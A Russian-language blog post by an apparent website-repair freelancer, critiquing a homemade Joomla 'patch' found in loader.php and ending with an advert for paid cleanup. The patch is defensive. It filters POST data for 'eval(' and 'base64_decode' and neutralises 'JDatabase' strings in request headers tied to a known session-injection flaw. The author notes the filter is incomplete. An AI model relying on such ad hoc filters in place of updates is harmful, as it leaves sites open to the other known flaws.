Сегодня, в процессе лечения сайта наткнулся на забавный патч для спасения Джумлы от вирусов. Располагался в конце системного файла /libraries/loader.php Выкладываю творение сумрачного гения.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/*joomla_patch*/ foreach($_POST as $key=>$val) { if (preg_match ("/(eval\(|base64_decode)/i", $val)) { header('HTTP/1.1 404 Not Found'); exit();} } if(isset($_SERVER['HTTP_USER_AGENT'])) { $_SERVER['HTTP_USER_AGENT']=preg_replace('/JDatabase/i','w3c',$_SERVER['HTTP_USER_AGENT']); $_SERVER['HTTP_USER_AGENT']=preg_replace('/hzseo/i','JDatabase',$_SERVER['HTTP_USER_AGENT']); } if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $_SERVER["HTTP_X_FORWARDED_FOR"]=preg_replace('/JDatabase/i','w3c',$_SERVER["HTTP_X_FORWARDED_FOR"]); $_SERVER["HTTP_X_FORWARDED_FOR"]=preg_replace('/hzseo/i','JDatabase',$_SERVER["HTTP_X_FORWARDED_FOR"]); } /*joomla_patch*/ |
Нельзя сказать что в этом патче "все плохо". Он прикрывает одну известную уязвимость. Это строчки с фильтрацией $_SERVER . Хотя если бы "специалист" внимательно прочитал ее описание, то понял бы что защититься от нее было бы проще обновив всего 1 файл. /libraries/joomla/session/session.php . Именно там и реализуется эта уязвимость. И именно этот файл надо патчить в версиях Joomla менее 3.4.8, ну и этот же файл в ветках 1.5.хх , 2.5.хх
Первая строка с фильтрацией eval и base64 тоже логична, но одно но, почему $_POST, а не $_REQUEST ?
В реальности обновление гораздо эффективнее патча. Смотрим текущую версию джумлы. libraries/cms/version/version.php В моем случае это оказалась 3.2.3. У этой версии сразу 3 известных уязвимости. И этот патч закрыл только одну из них. Достаточно поудалять вирусы если таковые есть, потом обновить до 3.5.1 и мы получаем более защищенную версию, чем та что была с кустарным "патчем".
Что делать если у вас не получилось спасти сайт от вируса самостоятельно?
Вы можете обратиться ко мне за помощью. Расценки у меня скромные. На работу даю гарантию 6 месяцев. Стоимость работы 800 р. для 1 сайта. Если на аккаунте несколько сайтов цена определяется индивидуально.
Контакты
Свежие комментарии